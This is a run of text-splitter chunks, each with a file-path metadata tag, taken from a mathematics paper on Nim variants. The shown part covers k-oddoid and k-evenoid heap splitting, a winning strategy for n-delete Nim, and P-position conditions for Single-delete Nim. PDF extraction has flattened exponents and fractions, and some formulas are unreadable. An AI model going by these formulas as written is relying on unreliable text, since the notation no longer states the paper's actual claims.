+page_content='2.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content=' That is, if we can split a k-oddoid number into k k-oddoid number,  then we have a contradiction because the sum of reminders of all k-oddoid  numbers split by k(k − 1) is between k and k(k − 1), which contradicts to  the original number is an k-oddoid number.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content='  (2) Let x = kp + q (0 ≤ q ≤ k − 1).' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content=' Then, 1 ≤ p ≤ k − 1.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content=' If p < k − 1,  then x = q(p + 1) + (k − q)p and if p = k − 1, then x = kp.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content=' Thus, for both  cases, x can be split into k numbers which are between 1 and k − 1.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content='  (3) Since ks − k can be divided by k(k − 1), the reminder of ks divided  by k(k − 1) is k.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content=' Thus, the largest k-evenoid number less than ks is ks − k.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content='  Therefore, for the case s ≤ 2, we have proved in (2).' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content='  Assume that s ≥ 3.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content='  ks − k = k(ks−2 − 1)  k − 1  k(k − 1) + k(k − 1)  and k(ks−2−1)  k−1  is an integer, so for a k-evenoid number y < ks,  y = αk(k − 1) + β  �  α ≤ k(ks−2 − 1)  k − 1  , k ≤ β ≤ k(k − 1)  �  and we can split α into α1, α2, .' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content=' .' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content=' .' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content=' , αk ≤  ks−2−1  k−1 .' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content='  From (2), we can also  split β into 1 ≤ β1, β2, .' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content=' .' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content=' .' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content=' , βk ≤ k − 1.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content=' Let γi = αik(k − 1) + βi for any  1 ≤ i ≤ k,then γ1, γ2, .' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content=' .' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content=' .' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content=' , γk are all k-oddoid numbers, γ1 +γ2 +· · ·+γk = y,  and γi ≤ ks−2−1  k−1 k(k − 1) + k − 1 < ks−1.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content='  Using this lemma, we can give the following winning strategy for k−1  k n-  delete Nim by replacing the odd and even heaps of Theorem 5.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content='2 with k-  oddoid and k-evenoid heaps, respectively.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content='  8  Theorem 5.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content='6.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content=' Let Z = ⟨z1, z2, .' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content=' .' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content=' .' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content=' , zkm⟩ be the k−1  k n-delete nim position,  where each zi is the number of tokens and zi < zi+1.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content=' Let ks be the smallest  power of k greater than z(k−1)m+1.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content=' Then Z is a P-position if and only if  z1, z2, .' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content=' .' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content=' .' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content=' , zkm satisfy both of the following two conditions:  (a) all z1, z2, .' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content=' .' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content=' .' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content=' , z(k−1)m+1 are k-oddoid,  (b) For any l, if zl is k-evenoid, then ks ≤ zl.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content='  Proof.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content=' Let P be the set of positions which satisfy both (a) and (b), and N  be the complement of P.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content=' We show a position in P has no option in P in (i),  and a position in N has at least one option in P in (ii) and (iii).' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content='  (i) Assume that in a move of k−1  k n-delete Nim, the remaining all m heaps  are k-oddoid heaps.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content=' Then from Lemma 5.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content='5 (1), one can obtain at most k−1  k-oddoid heaps by splitting a remaining heap.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content=' Thus, each option is not in  P.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content=' Therefore, if an option of a position in P is also in P, a k-evenoid heap  has to be split into k k-oddoid heaps.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content='  At least one k-oddoid heap after  this split has more than ks−1 stones.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content=' On the other hand, the player has to  split at least one of the heaps whose sizes are z1, z2, .' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content=' .' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content=' .' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content=' , z(k−1)m+1, but any  k-evenoid heap from this split has less than ks stones, which contradicts to  (b).' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content='  (ii) Assume that (a) is not satisfied.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content=' That is, there exists a k-evenoid  zi (1 ≤ i ≤ (k − 1)m + 1).' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content=' Let s be an integer such that ks−1 ≤ zi < ks.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content='  Since zi is a k-evenoid number, s ≥ 2.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content='  Consider to split i-th heap and  (k − 1)m + 2, (k − 1)m + 3, .' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content=' .' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content=' .' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content=' , km-th heaps.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content=' From Lemma 5.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content='5(3), zi can be  split into k k-oddoid heaps less than ks−1.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content=' If zj(j ≥ (k − 1)m + 2) is a k-  evenoid number, then let zj = αk(k − 1) + β(k ≤ β ≤ k(k − 1)).' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content=' Then, from  Lemma 5.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content='5(2), zj can be split into β1, β2, .' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content=' .' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content=' .' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content=' , βk−1, αk(k − 1) + βk, where  1 ≤ β1, β2, .' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content=' .' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content=' .' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content=' , βk ≤ k.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content=' If zj(j ≥ (k −1)m+2) is a k-oddoid number, then zj  can be split into 1, 1, .' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content=' .' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content=' .' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content=' , 1, zj−(k−1).' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content=' Here, all ks−1, ks−1+1, .' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content=' .' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content=' .' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content=' , ks−1+k−2  are k-evenoid number, so if ks−1 ≤ zi < zj and zj is a k-evenoid number,  then ks−1 ≤ zj − (k − 1).' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content=' Therefore, for a position, if (a) is not satisfied,  then the position has an option in P.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content='  (iii) Consider the case that (a) is satisfied but (b) is not satisfied.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content=' That is,  z1, z2, .' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content=' .' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content=' .' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content=' , z(k−1)m+1 are k-oddoid numbers and there exists zi(i > (k−1)m+  1) such that zi is a k-evenoid number and zi < ks.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content=' Split the heaps whose sizes  are z(k−1)m+1, z(k−1)m+2, .' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content=' .' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content=' .' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content=' , zkm as follows: From Lemma 5.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content='5(3), zi can be  split into k k-oddoid numbers less than ks−1.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content=' For other zj, similar to (ii), if zj  is a k-evenoid number, then it can be split into β1, β2, .' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content=' .' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content=' .' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content=' , βk−1, αk(k−1)+βk  and if zj is a k-oddoid number, then it can be split into 1, 1, .' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content=' .' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content=' .' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content=' , 1, zj−(k−1).' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content='  9  Thus, for a position, if (a) is satisfied but (b) is not satisfied, then the  position has an option in P.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content='  6  Single-delete Nim  Finally, in this section, we consider Single-delete Nim.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content=' In this ruleset, the  player can remove only one heap.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content='  6.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content='1  The rule of Single-delete Nim  Definition 6.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content='1 (Single-delete Nim).' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content=' There are n heaps of tokens.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content='  The  player performs the following two operations in succession on his/her turn.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content='  Selects one heap and deletes it.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content='  Selects one heap of the remaining n − 1 heaps and splits it into two  heaps.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content='  If n = 2, then the ruleset is the same as VDN, so this ruleset is a  generalization of VDN.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content=' The terminal position in Single-delete Nim is only  ⟨1, 1, .' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content=' .' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content=' .' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content=' , 1⟩.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content='  6.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content='2  Characterizing positions in Single-delete Nim  Theorem 6.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content='2.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content=' If n = 3 in the Single-delete Nim, the position ⟨x, y, z⟩ is a  P-position if and only if v2(x) = v2(y) = v2(z).' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content='  This result was introduced in Sakai [5].' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content=' This theorem is a special case of  Theorem 4.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content='2.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content='  Further, we introduce a theorem for the case n = 4.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content='  Theorem 6.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content='3.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content=' Denote by Ik(z) the k-th digit from the bottom of the binary  representation of non-negative integer z.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content=' For n = 4 in the Single-delete Nim  position ⟨w, x, y, z⟩, let a = v2(w), b = v2(x), c = v2(y), d = v2(z).' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content='  If  a ≤ b ≤ c ≤ d, ⟨w, x, y, z⟩ is a P-position if and only if a, b, c, and d satisfy  one of the following conditions (1), (2), (3), (4), or (5).' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content='  (1) a = b = c = d.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content='  (2) a < b = c = d and  (2A) Id+1(w) = 0.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content='  10  (3) a < b < c = d and the following conditions (3A)-(3C) are satisfied.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content='  (3A) Id+1(w) = Id+1(x) = 0.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content='  (3B) Ik(w) + Ik(x) ≥ 1 for b + 2 ≤ k ≤ d.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content='  (3C) Ib+1(w) = 1.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content='  (4) a < b < c < d and the following conditions (4A)-(4E) are satisfied.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content='  (4A) Id+1(w) = Id+1(x) = Id+1(y) = 0.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content='  (4B) Ij(w) + Ij(x) + Ij(y) ≥ 2 for c + 2 ≤ j ≤ d.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content='  (4C) Ic+1(w) = Ic+1(x) = 1.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content='  (4D) Ik(w) + Ik(x) ≥ 1 for b + 2 ≤ k ≤ c.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content='  (4E) Ib+1(w) = 1.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content='  (5)  a < b < c < d and the following conditions (5A)-(5F) are satisfied.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content='  (5A) Ii(w) + Ii(x) + Ii(y) + Ii(z) ∈ {0, 3, 4} for i ≥ d + 2.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content='  (5B) Id+1(w) = Id+1(x) = Id+1(y) = 1.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content='  (5C) Ij(w) + Ij(x) + Ij(y) ≥ 2 for c + 2 ≤ j ≤ d.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content='  (5D) Ic+1(w) = Ic+1(x) = 1.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content='  (5E) Ik(w) + Ik(x) ≥ 1 for b + 2 ≤ k ≤ c.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content='  (5F) Ib+1(w) = 1.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content='  A proof of this theorem is shown in a Japanese report [6].' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content=' This theorem  solves only the case of n = 4, and the proof is long and complex, so we omit  it.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
